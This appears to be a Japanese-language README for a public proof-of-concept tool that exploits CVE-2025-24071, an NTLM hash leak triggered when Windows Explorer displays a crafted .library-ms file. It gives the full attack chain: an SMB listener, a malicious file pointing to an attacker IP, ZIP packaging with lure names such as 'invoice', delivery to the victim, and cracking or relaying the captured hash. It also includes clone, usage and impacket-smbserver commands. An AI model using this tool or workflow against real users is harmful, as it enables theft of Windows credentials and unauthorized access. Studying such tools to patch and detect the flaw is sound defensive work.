⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテスト専用です。自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムに対してのみ使用してください。不正な使用は違法です。
Windows ファイルエクスプローラーは、特定のファイルタイプがフォルダビューに表示された時点で、ダブルクリックなどのユーザー操作なしに自動的に解析します。影響を受けるバージョンでは .library-ms ファイルの検証が適切に行われず、任意のリモート SMB パスを指す検索コネクタを定義できてしまいます。
エクスプローラーが悪意のある .library-ms ファイルを含むフォルダ(例えば ZIP/RAR アーカイブを展開した直後)を表示すると、「ライブラリ」の場所を解決するために、攻撃者が制御する UNC パスへサイレントに接続を試みます。この SMB 接続試行には被害者の NetNTLMv2 ハッシュが含まれており、指定されたホスト上でトラフィックを傍受している攻撃者(例えば impacket-smbserver や Responder を使用)は、それをオフラインでクラックしたりリレーしたりすることができます。
このリポジトリには、この脆弱性に対する公開 PoC ジェネレーターの、依存関係のない最小限の書き直し版が含まれています。Python 標準ライブラリのみを使用して、悪意のある .library-ms ファイルを生成し、ZIP にパッケージ化します。
.library-ms ファイルは、Windows エクスプローラーに対してリモートまたはローカルの場所の内容を「ライブラリ」として表示するよう指示する XML ドキュメントです。その <simpleLocation><url> 要素は UNC パス(\\<host>\<share>)を指すことができます。
影響を受けるバージョンでは、エクスプローラーはフォルダが表示された時点でこの場所を解決します。ファイルがフォルダビューに表示されていれば(例えば、それを含むアーカイブを展開した直後など)、ダブルクリックや明示的な操作は必要ありません。
impacket-smbserver、Responder など)を実行している。\\<attacker_ip>\<share> を指す悪意のある .library-ms ファイルが生成される。1. 攻撃者マシンで SMB リスナーを起動する
2. \\<attacker_ip>\<share> を指す .library-ms ファイルを生成する
3. それを ZIP アーカイブにパッケージ化する
4. ZIP を被害者に配信する(アップロード機能、メール、共有など)
5. 被害者が ZIP を展開し、エクスプローラーがフォルダを表示する
6. エクスプローラーが UNC パスを解決 -> SMB 認証試行 -> NetNTLMv2 ハッシュを取得
7. ハッシュをオフラインでクラックする(hashcat -m 5600)かリレーする
os、sys、argparse、zipfile)ペイロードの生成にサードパーティの依存関係は必要ありません。ハッシュの取得には、攻撃者側で Impacket(impacket-smbserver)や Responder などの SMB リスナーが必要です。
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
これにより invoice.zip が生成され、\\10.10.14.5\shared を指す invoice.library-ms が含まれます。
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms や同様の自動解析されるファイルタイプを検出する。.library-ms ジェネレーターの依存関係のないバージョン。新しいエクスプロイト手法は含まない| 項目 | 値 |
|---|
| CVE | CVE-2025-24071 |
| 影響を受けるバージョン | Windows 10 (1607–22H2)、Windows 11 (22H2–24H2)、Windows Server 2012 R2 – 2025 |
| 種類 | 機密情報の不正なアクターへの漏洩 (CWE-200) |
| 権限 | なし(未認証の攻撃者、被害者がファイルを表示/展開する必要あり) |
| 影響 | NetNTLMv2 ハッシュの漏洩 → オフラインクラッキングまたは NTLM リレー |
| CVSS | 7.5 High(GitHub Advisory Database による)/ 6.5(MSRC ベース) |
| パッチ | 2025年3月 Patch Tuesday 累積更新プログラム |